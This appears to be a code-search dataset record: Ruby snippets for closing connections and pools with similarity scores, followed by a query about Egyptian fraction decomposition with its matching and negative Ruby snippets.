[ "def close(timeout=10)\n # Prevent any new connections from being handed out\n self.pool_size = 0\n start_time = Time.now\n while (Time.now - start_time) < timeout\n sleep 1\n @mutex.synchronize do\n return if @connections.empty?\n @logger.info \"#{@name}: Waiting to close, #{@connections.size} connections are still in use\"\n end\n end\n @logger.warn \"#{@name}: Timed out while waiting to close, #{@connections.size} connections are still in use\"\n end", "def close_idle_connections(idle_time) # in sec\n @http_client.keep_alive_timeout = idle_time # set timeout value\n close_expired_connections\n end", "def close_idle_connections(idle_time) # in sec\n @http_client.keep_alive_timeout = idle_time # set timeout value\n close_expired_connections\n end", "def close_expired_connections\n # By default the keep alive timeout is 15 sec, which is the HTTP 1.1\n # standard. To change the value, use keep_alive_timeout= method\n # do nothing, handled by HTTPClient\n end", "def close_expired_connections\n # By default the keep alive timeout is 15 sec, which is the HTTP 1.1\n # standard. To change the value, use keep_alive_timeout= method\n # do nothing, handled by HTTPClient\n end", "def close_expired_connections\n raise NotImplementedError\n end", "def close_idle_sockets\n return if closed?\n return unless max_idle_time\n\n @lock.synchronize do\n i = 0\n while i < @available_connections.length\n connection = @available_connections[i]\n if last_checkin = connection.last_checkin\n if (Time.now - last_checkin) > max_idle_time\n connection.disconnect!(reason: :idle)\n @available_connections.delete_at(i)\n @populate_semaphore.signal\n next\n end\n end\n i += 1\n end\n end\n end", "def close\n inactive!\n close_connections\n end", "def close_connections\n @connections.values.each(&:close)\n end", "def disconnect!(timeout: 120)\n start_time = ::Gitlab::Metrics::System.monotonic_time\n\n while (::Gitlab::Metrics::System.monotonic_time - start_time) <= timeout\n break if pool.connections.none?(&:in_use?)\n\n sleep(2)\n end\n\n pool.disconnect!\n end", "def close_all\n @connections.close_all\n end", "def close\n @closing = true\n cancel_ping_timer\n cancel_reconnect_timer\n close_connection_after_writing if connected?\n process_disconnect if reconnecting?\n end", "def close_client_connections\n @pending_data.each_key(&:close)\n @pending_data.clear\n end", "def closeConnections()\n #N Without this, the connections won't be closed\n @sshAndScp.close()\n end", "def connection_closed\n close\n end", "def close_connection\n @connection.expunge\n @connection.logout\n @connection.disconnect\n end", "def connection_closed\n end", "def shutdown(timeout=10)\n @pool.close(timeout)\n end", "def connection_pool_idle_timeout\n super\n end", "def disconnect!() @connections.each_value(&:disconnect) end", "def server_close_timeout\n super\n end", "def disconnect!\n @reserved_connections.each do |name,conn|\n checkin conn\n end\n @reserved_connections = {}\n @connections.each do |conn|\n conn.disconnect!\n end\n @connections = []\n end", "def closeConnections\n #N Without this the cached connections won't get closed\n @contentHost.closeConnections()\n end", "def client_close_timeout\n super\n end", "def throw_away!\n pool.remove self\n disconnect!\n end", "def disconnect; @connection.close end", "def __close_connections\n # to be implemented by specific transports\n end", "def terminate_connection\n @intentionally_closed = true\n close_connection\n end", "def close &on_disconnect\n @heartbeat_timer.cancel if @heartbeat_timer\n @heartbeat_timer = nil\n if on_disconnect\n @closing = true\n @on_disconnect = proc{\n on_disconnect.call\n @closing = false\n }\n end\n\n callback{ |c|\n if c.channels.any?\n c.channels.each do |ch, mq|\n mq.close\n end\n else\n send Protocol::Connection::Close.new(:reply_code => 200,\n :reply_text => 'Goodbye',\n :class_id => 0,\n :method_id => 0)\n end\n }\n end", "def test_double_close()\n rdht = Scalaroid::ReplicatedDHT.new()\n rdht.close_connection()\n rdht.close_connection()\n end", "def shutdown_after(timeout); end", "def close\n stop_monitoring_connection\n close_connection\n end", "def close_connection; end", "def disconnect\n @conn.close\nend", "def close_connections\n @connections ||= {}\n @connections.values.each do |connection|\n begin\n connection.disconnect!\n rescue\n end\n end\n\n @connections = {}\n end", "def testDoubleClose()\n rdht = Scalaris::ReplicatedDHT.new()\n rdht.close_connection()\n rdht.close_connection()\n end", "def testDoubleClose()\n rdht = Scalaris::ReplicatedDHT.new()\n rdht.close_connection()\n rdht.close_connection()\n end", "def clear_active_connections!\n self.ensure_ready\n self.connection_pool_list.each(&:release_connection)\n end", "def close\n @pool.each do |s|\n #@pool.remove(s)\n s.close\n #@pool.remove(s)\n end\n end", "def close\n close_connection(CLOSED, true)\n end", "def close()\n @connection.disconnect\n @connection = nil\n end", "def open_timeout; end", "def open_timeout; end", "def open_timeout; end", "def open_timeout; end", "def close\n log \"Closing connection\", level: :warning\n close_stream\n close_socket\n stop_reader\n set_state :disconnected\n notify_error DisconnectError.new(\"Connection was closed\")\n\n # stop timer\n # as we're running inside the timer, code after stop_timer() will not be called,\n # unless it's in the ensure block\n stop_timer\n end", "def close_clients\n verify_not_closed\n @clients.each do |pub|\n pub.close()\n end\n @closed = true\n end", "def close_connection\n current_connection.logout if current_connection?\n current_connection = nil\n end", "def connection_pool_maximum_reuse\n super\n end", "def close_gracefully\n @request_queue.each {|request, deferrable| deferrable.fail(ServerError.new('shutdown requested')) }\n @request_queue = []\n if in_flight\n in_flight.callback { close_connection }\n in_flight.errback { close_connection }\n else\n close_connection\n end\n end", "def killall\n begin\n\t @connections.each do |k,v| \n\t v[:thread].exit! unless v[:thread].nil?\n\t v.shutdown!\n\t end\n rescue Exception\n end\n initialize\n end", "def cleanup_connections\n @connections.keep_if do |thread, conns|\n thread.alive?\n end\n end", "def close()\n\t\t@connection.disconnect\n\t\t@connection = nil\n\tend", "def close\n @clients.each { |c| c.reset(); c.close() } if @clients\n end", "def close\n close_connection_after_writing\n end", "def reap\n stale_connections = @connections.select do |conn|\n conn.in_use? && !conn.owner.alive?\n end\n\n stale_connections.each do |conn|\n if conn.active?\n conn.reset!\n checkin conn\n else\n remove conn\n end\n end\n end", "def closeConnections\n #N Without this, cached SSH connections to the remote system won't get closed\n destinationLocation.closeConnections()\n end", "def close(timeout = false)\n # Return immediately if the server isn't listening\n return unless @ml.locked?\n \n # Ask the loop to close\n @close_in.putc 'x' # Tell select to close\n\n \n # Wait for loop to end\n elapsed_time = 0\n while @ml.locked? do\n sleep(0.05)\n elapsed_time += 0.05\n\n # If a timeout is given, try killing threads at this point\n if timeout && elapsed_time > timeout\n @clients.each {|id, thread| thread.kill() }\n end\n end\n end", "def close\n @mutex.lock do\n unless @connection_pool.nil? or @connection_pool.is_closed\n @connection_pool.close\n @connection_pool = nil\n end\n end\n end", "def keep_alive; end", "def keep_alive; end", "def close\n\t\t@conn.disconnect\n\tend", "def disconnect; end", "def disconnect; end", "def disconnect!\n @reserved_connections.clear\n @connections.each do |conn|\n checkin conn\n conn.disconnect!\n end\n @connections = []\n @available.clear\n end", "def cull_idle_sockets\n\t\tself.log.debug \"Culling idle sockets.\"\n\n\t\tearliest = Time.now - self.class.idle_timeout\n\n\t\tself.connection_times.each do |sender_id, times|\n\t\t\ttimes.each do |conn_id, lastframe|\n\t\t\t\tnext unless earliest > lastframe\n\n\t\t\t\tself.log.warn \"Timing out connection %s:%d: last seen %0.3fs ago.\" %\n\t\t\t\t\t[ sender_id, conn_id, Time.now - lastframe ]\n\n\t\t\t\t# Make a CLOSE frame\n\t\t\t\tframe = Mongrel2::WebSocket::Frame.close\n\t\t\t\tframe.set_status( CLOSE_EXCEPTION )\n\n\t\t\t\t# Use the connection directly so we can send a frame and close the\n\t\t\t\t# connection\n\t\t\t\tself.conn.send( sender_id, conn_id, frame.to_s )\n\t\t\t\tself.conn.send_close( sender_id, conn_id )\n\t\t\tend\n\t\tend\n\tend", "def disconnect\n return unless pool\n pool.map(&:close)\n @pool = nil\n end", "def close()\n @connected = false\n @my.close()\n @my = nil\n end", "def close\n connection.close if connection\n end", "def reap\n stale_connections = synchronize do\n @connections.select do |conn|\n conn.in_use? && !conn.owner.alive?\n end\n end\n\n stale_connections.each do |conn|\n synchronize do\n if conn.active?\n conn.reset!\n checkin conn\n else\n remove conn\n end\n end\n end\n end", "def disconnect(opts=OPTS)\n while conn = @queue.pop(timeout: 0)\n disconnect_connection(conn)\n end\n fill_queue\n nil\n end", "def close( nice = 1 )\n expire = Time.now + nice\n @open = false\n @queue.close\n\n loop do\n break if expire <= Time.now\n break if @threads.size == 0 # XXX\n end\n @threads.each { |t| t.kill }\n cleanup\n @logger.info \"#{self}: Closed\"\n end", "def release()\n fiber = Fiber.current\n if fiber[connection_pool_key]\n @busy_connections.delete(fiber)\n @connections << fiber[connection_pool_key]\n fiber[connection_pool_key] = nil\n end\n end", "def disconnect_connection(c)\n c.close\n end", "def disconnect!\n synchronize do\n @reserved_connections.clear\n @connections.each do |conn|\n checkin conn\n $DEBUG && warn(\"Closing pg connection: #{conn.object_id}\")\n conn.close\n end\n @connections = []\n @available.clear\n end\n end", "def close_tcp_sockets()\n\n if (@tcp_sockets.length > 0)\n\n @tcp_sockets.each do |tcp_socket|\n begin\n tcp_socket.close\n rescue Exception => e\n puts \"close_tcp_sockets:exception: #{e}\"\n end\n end\n\n end\n\n end", "def close\n @pool.close\n end", "def empty_connection_pools!; end", "def idle_timeout; end", "def idle_timeout; end", "def graceful_shutdown\n socket_server.close unless socket_server.closed?\n\n until active_connections.zero?\n logger.debug \"#{active_connections} connections still active\"\n sleep 0.5\n end\n\n logger.debug \"No more active connections. Exiting'\"\n\n Process.exit(0)\n end", "def disconnect\n unless self.open_statements.empty?\n warn \"[RDBI] Open statements during disconnection -- automatically finishing. You should fix this.\"\n self.open_statements.each(&:finish)\n end\n self.open_statements = []\n @connected = false\n end", "def close(cause = nil)\n if @heartbeat\n @scheduler.cancel_timer(@heartbeat)\n @heartbeat = nil\n end\n\n if @terminate\n @scheduler.cancel_timer(@terminate)\n @terminate = nil\n end\n\n @scheduler.schedule_timer(0).on_value do\n @connection.close(cause)\n end\n\n @closed_promise.future\n end", "def shutdown\n @pool.shutdown do |connection|\n connection.quit\n end\n end", "def shutdown\n @pool.shutdown do |connection|\n connection.quit\n end\n end", "def close\n @mutex.synchronize { @conn.close }\n end", "def close\n @mutex.synchronize { @conn.close }\n end", "def close\n @conn.disconnect\n end", "def close\n @timer.detach if @timer.attached?\n @reqtable = {}\n @transport.close\n @seqid = 0\n self\n end", "def without_reconnect(&block); end", "def release_connection\n conn = @reserved_connections.delete(current_connection_id)\n checkin conn if conn\n end", "def close\n pool.checkin self\n end", "def close\n pool.checkin self\n end", "def disconnect\n @conn.close\n end", "def disconnect\n @conn.close\n end", "def disconnect\n @conn.close\n end", "def disconnect\n @conn.close\n end", "def shutdown\n factory.close\n Pacer.open_graphs.delete url\n end", "def disconnect!; end", "def close\n if self.conn && !self.conn.closed?\n self.conn.shutdown\n self.conn.close\n end\n\n self.conn = nil\n end", "def close\n # by default do nothing - close any cached connections\n end" ]
[ "0.72151554", "0.7165466", "0.7165466", "0.7045658", "0.7045658", "0.6994702", "0.69850606", "0.6976655", "0.6900116", "0.6753561", "0.6710939", "0.65831625", "0.656714", "0.6521667", "0.65123343", "0.65006506", "0.6494057", "0.64885294", "0.6410161", "0.63996434", "0.6354053", "0.63249564", "0.6322967", "0.62762964", "0.6265952", "0.6230666", "0.6189277", "0.61881703", "0.6166439", "0.6165821", "0.6119844", "0.6100709", "0.61006826", "0.6041564", "0.6033565", "0.60317975", "0.60317975", "0.60126007", "0.6010314", "0.5985181", "0.5983385", "0.59812677", "0.59812677", "0.59812677", "0.59812677", "0.5962335", "0.5954258", "0.5952836", "0.59415305", "0.5937633", "0.5933614", "0.5910397", "0.590688", "0.59042525", "0.58910084", "0.5875969", "0.58727735", "0.5867141", "0.5854979", "0.58524805", "0.58524805", "0.58449674", "0.5840424", "0.5840424", "0.5834781", "0.5826167", "0.582209", "0.5810241", "0.5809574", "0.5809403", "0.5801872", "0.5801844", "0.58013713", "0.5800816", "0.5793957", "0.57873344", "0.5786313", "0.5778756", "0.5772465", "0.5772465", "0.577168", "0.5768953", "0.57648104", "0.5764662", "0.5764662", "0.57591736", "0.57591736", "0.5757534", "0.5755439", "0.57432926", "0.5740053", "0.5738513", "0.5738513", "0.57338905", "0.57338905", "0.57338905", "0.57338905", "0.57238466", "0.572267", "0.57126594", "0.5711369" ]
0.0
-1
a Rational Number (two ints reping the num and denom of a rat num) outputs: Array (an arr of denoms that are part of an Egyptian Fraction rep of the num) reqs: take a Rational Number rtn an arr reping an Egyptian Fraction rep of the num struct: Array (to hold denoms) algo: init the output arr to [] init a sum at 0 init the denom at 1 while the sum is rat throw away the new sum else sum = new sum copy denom to the output arr increment the denom
def egyptian(rat_num) arr = [] sum = 0 temp_sum = sum denom = 1 while sum < rat_num && denom < 1_000_000 temp_sum += Rational(1, denom) if temp_sum > rat_num # overshot temp_sum = sum # reset else sum = temp_sum arr << denom end # p "denom = #{denom}, sum = #{sum}, arr = #{arr}" denom += 1 end arr end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def egyptian(rational)\n array = []\n n = 1\n remaining = rational\n until remaining == 0\n if remaining - Rational(1, n) >= 0\n array << n\n remaining = remaining - Rational(1, n)\n end\n n += 1\n end\n array\nend", "def unegyptian(arr)\n sum = 0\n arr.each { |denom| sum += Rational(1, denom) }\n sum\nend", "def return_rational(numerator)\n\t\tnumerator/36.to_r\n\tend", "def unegyptian(denominators)\n sum = Rational(0)\n denominators.each do |denominator|\n sum += Rational(1, denominator)\n end\n sum\nend", "def egyptian(rational_n)\n denominators = []\n next_denom = 1\n loop do\n denominators << next_denom\n sum = denominators.reduce(Rational(0)) do |accum, denom|\n accum + Rational(1, denom)\n end\n break if sum == rational_n\n denominators.pop if sum > rational_n\n next_denom += 1\n end\n denominators\nend", "def egyptian(rational)\n denominators = []\n denominator = 1\n\n until rational == 0\n if Rational(1, denominator) <= rational\n denominators << denominator\n rational -= Rational(1, denominator)\n end\n\n denominator += 1\n end\n denominators\nend", "def to_r\n return Rational(numerator,denominator)\n end", "def egyptian(x)\n list = []\n count = 0\n while x.numerator > x.denominator || x.denominator / x.numerator + 1 <= count\n count += 1\n list.push count\n d = 1/count.to_r\n x -= d\n end\n loop do\n if x.numerator == 1\n list.push(x.denominator)\n return list\n end\n d = x.denominator / x.numerator + 1 \n list.push(d)\n d = 1/d.to_r\n x -= d\n end\n list\nend", "def curious_fraction(numerator,denominator)\n numerators = numerator.to_s.split('').map(&:to_i)\n denominators = denominator.to_s.split('').map(&:to_i)\n\n if numerators[0]==denominators[0] && numerators[0]!=0\n numerators.shift\n denominators.shift\n return (numerators[0].to_f)/denominators[0]\n \n elsif numerators[1]==denominators[0] && numerators[1]!=0\n numerators.pop\n denominators.shift\n return (numerators[0].to_f)/denominators[0]\n \n elsif numerators[0]==denominators[1] && numerators[0]!=0\n numerators.shift\n denominators.pop\n return (numerators[0].to_f)/denominators[0]\n\n elsif numerators[1]==denominators[1] && numerators[1]!=0\n numerators.pop\n denominators.pop\n return (numerators[0].to_f)/denominators[0]\n else\n false\n end\n\nend", "def mixed_fraction(s)\n f = s\n fraction = f.split(\"/\").map { |x| x = x.to_i }\n p initial = Rational(fraction[0],fraction[1])\n p initial_split = initial.to_s.split(\"/\").map { |x| x = x.to_i }\n \n if initial_split[0] < 1\n initial_split[0] = initial_split[0] * -1\n initial_split[0]\n initial_split[2] = \"-\"\n initial_split[2]\n end\n if initial_split[1] == initial_split[0]\n final_answer = Array.new\n final_answer[0] = initial_split[2]\n final_answer[1] = initial_split[0]\n final_answer = final_answer.join\n elsif initial_split[0] == 0\n final_answer = \"0\"\n elsif (initial_split[0] / initial_split[1]) < 1\n final_answer = initial.to_s\n elsif (initial_split[0] / initial_split[1]) > 1\n if initial_split[0] % initial_split[1] == 0\n final_answer = \"#{initial_split[2]}#{initial_split[0]/initial_split[1]}\"\n elsif \n final_answer = Array.new\n final_answer[0] = initial_split[2]\n final_answer[1] = \"#{(initial_split[0]/initial_split[1])}\"\n final_answer[2] = \" #{initial_split[0] % initial_split[1]}/#{initial_split[1]}\"\n final_answer = final_answer.join\n end\n else \n final_answer = Array.new\n final_answer[0] = initial_split[2]\n final_answer[1] = \"#{(initial_split[0]/initial_split[1])}\"\n final_answer[2] = \" #{initial_split[0] % initial_split[1]}/#{initial_split[1]}\"\n final_answer = final_answer.join\n end\n p final_answer\nend", "def to_r\n Rational(numerator.to_i, denominator.to_i)\n end", "def egyptian(rat_num, results = [])\n denominator = find_biggest_denominator(results.last, rat_num)\n results << denominator\n rat_num = rat_num - Rational(1, denominator)\n\n return results if rat_num == 0\n\n egyptian(rat_num, results)\nend", "def reciprocal\n\t\tRacional.new(denom, num)\n\tend", "def divisorSum(num)\n\tarr = [1]\n\t(2..num ** 0.5).each do |n| \n\t\tif (num % n == 0) then\n\t\t\tarr << n \n\t\t\tarr << num/n \n\t\tend\n\tend\n\tarr.reduce(:+)\nend", "def num_to_array num\n \n array = []\n div = 100000\n \n while div >= 1\n if (num / div) > 0\n digit = num / div\n array << digit\n num = num - (div * digit)\n end\n div = div / 10\n end\n \n return array\n \nend", "def toDigArray(prec = 100)\n localNum = @num.abs\n a = Array.new\n prec.times{\n a.push((localNum/@den))\n localNum = (localNum*10) % (@den*10)\n }\n a[0] *= -1 if @num < 0\n return a\n end", "def + r\r\n ans = MyRational.new(@num,@den)\r\n ans.add! r\r\n ans\r\n end", "def to_a\n return fraction.to_a\n end", "def + r\n ans = MyRational.new(@num, @den)\n ans.add! r\n ans\n end", "def add(rational)\n\n\t\t#\tCopy the second rational\n\t\ttemp = RationalNumber.new(rational.numerator, rational.denominator)\n\n\t\t#\tMake sure we have LCD \n\t\tif not self.denominator == rational.denominator\n\t\t\ttemp.denominator = rational.denominator * self.denominator\n\t\t\ttemp.numerator = rational.numerator * self.denominator\n\t\tend\n\n\t\t#\tNow add...\n\t\tself.numerator = self.numerator + temp.numerator\n\n\t\treturn self\n\tend", "def egyptian(input_fraction)\n output = []\n unit_denominator = 1\n current = Rational(1, unit_denominator)\n\n loop do \n \n if input_fraction - current >= 0\n output << unit_denominator\n input_fraction = input_fraction - current\n end\n unit_denominator += 1\n current = Rational(1, unit_denominator)\n\n break if input_fraction == 0\n end\n output\nend", "def reduce(frac)\n n, d = frac.split('/').map(&:to_i)\n unless (g = gcd(n, d)) == 1\n n /= g; d /= g\n end\n \"#{n}/#{d}\"\nend", "def numerator() end", "def reciprocal\n RationalNumber.new(self.denominator, self.numerator)\n end", "def get_fraction( pattern )\n r = nil\n pattern.reverse.each_with_index do |n, i|\n r = (i == 0 ? n : n + Rational(1, r))\n end\n return r\nend", "def to_r\n Rational(@val, @div)\n end", "def reduce!\n g = gcd(@numer, @denom)\n @numer /= g\n @denom /= g\n self\n end", "def test_Rational_InstanceMethods_denominator\n\t\tassert_equal(3, Rational(\"2/3\").denominator)\n\t\tassert_equal(365, Rational(\"343434/365\").denominator)\n\tend", "def reciprocal ()\n\tFraccion.new(@denominador,@numerador)\n end", "def coerce(other)\n if other.is_a? Numeric\n [Rational.new(other, 1), self]\n else\n puts \"(Rational failed to coerce object of type #{other.class})\"\n super\n end\n end", "def divisor(input_number)\n  output_array = []\n  while input_number > 2\n    output_array << input_number - 1\n    input_number -= 1\n  end\n  output_array\nend", "def denominator() end", "def egyptian(number)\n denominator = 0\n result = 0\n stored_values = []\n loop do\n denominator += 1\n loop do\n result += Rational(1, denominator)\n if result >= number\n result -= Rational(1, denominator) #when result get close, step back to the first level loop and increase denominator again.\n break\n end\n stored_values << denominator\n end\n if (denominator >= 9 && result + Rational(1,denominator) == number) # When we're getting close enough to number and able to increase easily towards number.\n stored_values << denominator # So that the result gets equal to number, not just very close to it.\n break\n end\n end\n p stored_values.uniq\n stored_values\nend", "def digit_cancel_fraction\n #remove trivial numbers\n range = (10..99).to_a.select { |x| x % 10 != 0 }\n results = []\n\n range.each do |denominator|\n\n #numerators should be less than denominator\n numerator_range = range.select { |x| x < denominator }\n\n numerator_range.each do |numerator|\n\n original = numerator / (denominator * 1.0)\n changed = 0\n #puts \"#{numerator} / #{denominator} = #{numerator / (denominator * 1.0)}\"\n\n #original fraction = ab /cd\n a = numerator / 10\n b = numerator % 10\n c = denominator / 10\n d = denominator % 10\n\n #if any common digits exits, cancel them and compute the changed fraction\n if a == c\n changed = b / (d * 1.0)\n elsif a == d\n changed = b / (c * 1.0)\n elsif b == c\n changed = a / (d * 1.0)\n elsif b == d\n changed = a / (c * 1.0)\n end\n\n #compare the original and changed fraction and add fraction to results\n if original == changed\n results.push([numerator, denominator])\n end\n\n end\n end\n\n #compute product\n num = 1\n denom = 1\n results.each do |fraction|\n num *= fraction[0]\n denom *= fraction[1]\n end\n\n product = Rational(num, denom)\n puts product\nend", "def factorials_rec(num)\n return [1] if num == 1\n\n result_array = factorials_rec(num-1)\n result_array = result_array + [result_array.last * (num-1)]\n\nend", "def factors(number)\n dividend = number\n divisors = [] # make an empty array called divisors\n begin\n # if the number / dividend is a whole number add it to the array\n divisors << number / dividend if number % dividend == 0\n # minus 1 from the dividend\n dividend -= 1\n # end when dividend is 0\n end until dividend == 0\n divisors\nend", "def to_r\n Number.rationalize(value)\n end", "def test_Rational_InstanceMethods_rationalize\n\t\tassert_equal(Rational(\"884279719003555/281474976710656\").to_r, Math::PI.to_r)\n\t\t# TODO, Need add some testcases.\n\t\t# r.rationalize #=>(884279719003555/281474976710656)\n\t\t# r.rationalize(0.01)#=>(22/7)\n\tend", "def reduce\n if denominator.to_i == 0\n puts \"ERROR\"\n else\n min = [numerator,denominator].min\n min.downto(2) do |x|\n if numerator%x == 0 && denominator%x == 0\n n = numerator/x\n d = denominator/x\n puts n.to_s + \"/\" + d.to_s\n break\n end\n end\n end\n end", "def test_Rational_InstanceMethods_numerator\n\t\tassert_equal(2, Rational(\"2/3\").numerator)\n\t\t# TODO, assert_equal(1978, Rational(\"1978/840\").numerator)\n\tend", "def output_fraction(nd_array)\n n, d = nd_array\n if d == 1\n puts n\n else\n puts n.to_s + '/' + d.to_s\n end\nend", "def getBasePart(max,rerolls=[])\n z=Density.new\n z.delete(0)\n z.fail=true\n z.exact=false\n z.uniform=false\n n=max - rerolls.reject{ |n| n==max }.size\n for k in (1..(max-1)).reject{ |n| rerolls.include?n } do\n z[k]=Rational(1,n)\n end\n return z\n end", "def getBasePart(max,rerolls=[])\n z=Density.new\n z.delete(0)\n z.exact=false\n z.fail=true\n z.uniform=false\n n=max - rerolls.reject{ |n| n==max }.size\n for k in (1..(max-1)).reject{ |n| rerolls.include?n } do\n z[k]=Rational(1,n)\n end\n return z\n end", "def /(denominator)\n raise MoneyError, \"Denominator must be a Fixnum. (#{denominator} is a #{denominator.class})\"\\\n unless denominator.is_a? Fixnum\n\n result = []\n equal_division = (cents / denominator).round\n denominator.times { result << Money.create_from_cents(equal_division) }\n extra_pennies = cents - (equal_division * denominator)\n \n # Make sure we don't loose any pennies!\n extra_pennies.times { |p| result[p] += 0.01 }\n result\n end", "def solve_equivalent_fractions\n last = 0\n array = Array.new\n @reduced_row_echelon_form.each do |x|\n array = last.gcdlcm(x.last.denominator)\n last = x.last.denominator\n end\n array.max\n end", "def to_rds(base = 10)\r\n\t\traise ArgumentError, \"invalid radix #{base}\" if base < 2 or 36 < base\r\n\r\n\t\t# initialize\r\n\t\tquotient = []\r\n\r\n\t\tn = numerator.to_s(base).split('').map(&:to_i)\r\n\t\texp = 0\r\n\t\twhile 0 == n.last\r\n\t\t\tn.pop\r\n\t\t\texp += 1\r\n\t\tend\r\n\t\td = denominator\r\n\t\tloop do\r\n\t\t\tq, r = d.divmod(base)\r\n\t\t\tbreak unless 0 == r\r\n\t\t\td = q\r\n\t\t\texp -= 1\r\n\t\tend\r\n\t\tt = n[0]\r\n\r\n\t\t# division loop\r\n\t\ti = 1\r\n\t\tloop do\r\n\t\t\tq, r = t.divmod(d)\r\n\t\t\tt = r * base + n[i].to_i\r\n\r\n\t\t\tquotient.push([q, nil])\r\n\r\n\t\t\tunless n[i]\r\n\t\t\t\tif 0 == t\r\n\t\t\t\t\tquotient.last[1] = 0\r\n\t\t\t\t\tbreak\r\n\t\t\t\tend\r\n\t\t\t\tbreak if quotient.map(&:last).include?(t)\r\n\t\t\t\tquotient.last[1] = t\r\n\t\t\tend\r\n\r\n\t\t\ti += 1\r\n\t\tend\r\n\r\n\t\t# format\r\n\t\trslt = \"0.\"\r\n\r\n\t\tzero_count = 0\r\n\t\twhile 0 == quotient[0][0]\r\n\t\t\tzero_count += 1\r\n\t\t\tif t == quotient.shift[1]\r\n\t\t\t\trslt += '('\r\n\r\n\t\t\t\t# rotate 0\r\n\t\t\t\twhile 0 == quotient[0][0]\r\n\t\t\t\t\tquotient.push(quotient.shift)\r\n\t\t\t\t\tzero_count += 1\r\n\t\t\t\tend\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\tend\r\n\t\texp += n.size - zero_count\r\n\r\n\t\tconvert = \"0123456789abcdefghijklmnopqrstuvwxyz\"\r\n\t\tif 0 == quotient.last[1]\r\n\t\t\trslt += quotient.map{|q| convert[q[0]]}.inject(&:+)\r\n\t\telse\r\n\t\t\tquotient.each do |q|\r\n\t\t\t\trslt += convert[q[0]]\r\n\t\t\t\trslt += '(' if t == q[1]\r\n\t\t\tend\r\n\t\t\trslt += \")\"\r\n\t\tend\r\n\t\trslt += \"e\" + exp.to_s unless 0 == exp\r\n\r\n\t\treturn rslt\r\n\tend", "def denominate (mm, dd)\n\t\tsubresult = []\n\t\t#while m > 0\n\t\t\tdd.each do |d|\n\t\t\t\twhile mm >= d\n\t\t\t\t\tsubresult << \"#{d}c\"\n\t\t\t\t\tmm - d\n\t\t\t\tend\n\t\t\tend\n\t\t#end\n\t\tputs subresult\n\t\tresult << subresult\n\t\tcount += 1\n\t\tdd.shift\n\t\tdenominate(mm, dd)\n\tend", "def puts_ratios(series)\n ratios = []\n (1...series.length).each do |term|\n ratios << series[term].fdiv(series[term - 1])\n end\n puts_fibonacci(ratios)\nend", "def use_rationals\r\n r1 = MyRational.new(3,4)\r\n r2 = r1 + r1 + MyRational.new(-5,2)\r\n puts r2.to_s\r\n (r2.add! r1).add! (MyRational.new(1,-4))\r\n puts r2.to_s\r\n puts r2.to_s2\r\n puts r2.to_s3\r\nend", "def arith_geo_ii(arr)\n differences = []\n ratios = []\n arr.each_with_index do |num, idx|\n next if idx == arr.size - 1\n differences << arr[idx + 1] - num\n ratios << arr[idx + 1] / num\n end\n if differences.uniq.size == 1 then 'Arithmetic'\n elsif ratios.uniq.size == 1 then 'Geometric'\n else -1\n end\nend", "def mixed_number(n, d)\n if n < d\n simp_array = simplify(n, d)\n num = simp_array[0]\n den = simp_array[1]\n puts \"#{n}/#{d} or #{num}/#{den} can't be converted to a mixed number (it is less than 1).\"\n else\n whole = n/d\n frac = n%d\n if frac != 0\n simp_array = simplify(frac, d)\n numerator = simp_array[0]\n denominator = simp_array[1]\n puts \"#{whole} #{numerator}/#{denominator}\"\n else\n puts \"#{whole}\"\n end\n end\nend", "def fraction_calculator fraction_one, fraction_two, operator\n num_one = Rational(fraction_one)\n num_two = Rational(fraction_two)\n \n final_result = case operator\n when '/' then num_one / num_two\n when '*' then num_one * num_two\n when '+' then num_one + num_two\n when '-' then num_one - num_two\n end\n\n String(final_result)\n\n print String(final_result)\n\nend", "def denominator_formula\n 1.upto(payments - 1).map { |m| \"(1 + percent) ** (#{m} * payment_period)\" }\n .push(1)\n .join(' + ')\n end", "def find_biggest_denominator(denominator, rat_num)\n denominator == nil ? denominator = 1 : denominator += 1\n loop do\n break if (rat_num - Rational(1, denominator)) >= 0\n denominator += 1\n end\n denominator\nend", "def test_rational_inspect\n assert_respond_to(@rat1, :inspect)\n assert_equal(\"Rational(3, 4)\", @rat1.inspect)\n assert_equal(\"Rational(0, 1)\", @rat4.inspect) # Reduced\n assert_equal(\"Rational(9, 1)\", @rat5.inspect)\n end", "def use_rationals\n\tr1 = MyRational.new(3, 4)\n\tr2 = r1 + r1 + MyRational.new(-5, 2)\n\tputs r2.to_s\n\n\t(r2.add! r1).add! (MyRational.new(1, -4))\n\tputs r2.to_s\nend", "def newrmn(a)\n rmn = []\n n = a.to_i\n thousands = (n / 1000)\n hundreds = (n % 1000 / 100)\n tens = (n % 100 / 10)\n ones = (n % 10)\n thousands.times {rmn.push(\"M\")}\n if hundreds == 9\n rmn.push(\"CM\")\n elsif hundreds == 4\n rmn.push(\"CD\")\n else\n ((n % 1000) / 500).times {rmn.push(\"D\")}\n ((n % 500) / 100).times {rmn.push(\"C\")}\n end\n\n if tens == 9\n rmn.push(\"XC\")\n elsif tens == 4\n rmn.push(\"XL\")\n else\n ((n % 100) / 50).times {rmn.push(\"L\")}\n ((n % 50) / 10).times {rmn.push(\"X\")}\n end\n\n if ones == 9\n rmn.push(\"IX\")\n elsif ones == 4\n rmn.push(\"IV\")\n else\n ((n % 10) / 5).times {rmn.push(\"V\")}\n (n % 5).times {rmn.push(\"I\")}\n end\n puts rmn.join()\nend", "def cf2r(cf)\r\n return cf.reverse.inject{|result,a| Rational(1,result) + a}\r\nend", "def test_Rational_InstanceMethods_to_r\n\t\tassert_equal(Rational(\"2\"), Rational(\"4/2\").to_r)\n\tend", "def add_frac(frac1, frac2)\n numerator1 = frac1[0]\n numerator2 = frac2[0]\n denominator1 = frac1[1]\n denominator2 = frac2[1]\n\n if denominator1 == denominator2\n [numerator1 + numerator2, denominator1]\n else\n [numerator1 * denominator2 + numerator2 * denominator1, denominator1 * denominator2]\n end\nend", "def reciprocal\nFraccionario.new(@den, @num)\nend", "def use_rationals\n r1 = MyRational.new(3, 4)\n r2 = r1 + r1 + MyRational.new(-5, 2)\n puts r2.to_s\n (r2.add! r1).add! (MyRational.new(1, -4))\n puts r2.to_s\n puts r2.to_s2\n puts r2.to_s3\nend", "def digit_list(num)\n arr = []\n divisor = 10**((num.to_s.length) - 1)\n \n while divisor >= 1\n digit = num/divisor\n arr << (num / divisor)\n num -= digit*divisor\n\n divisor = divisor / 10\n end\n \n arr\nend", "def sum_of_factors_of(number)\n \n require 'mathn'\t\n\n primes, powers = number.prime_division.transpose\n \n #converts 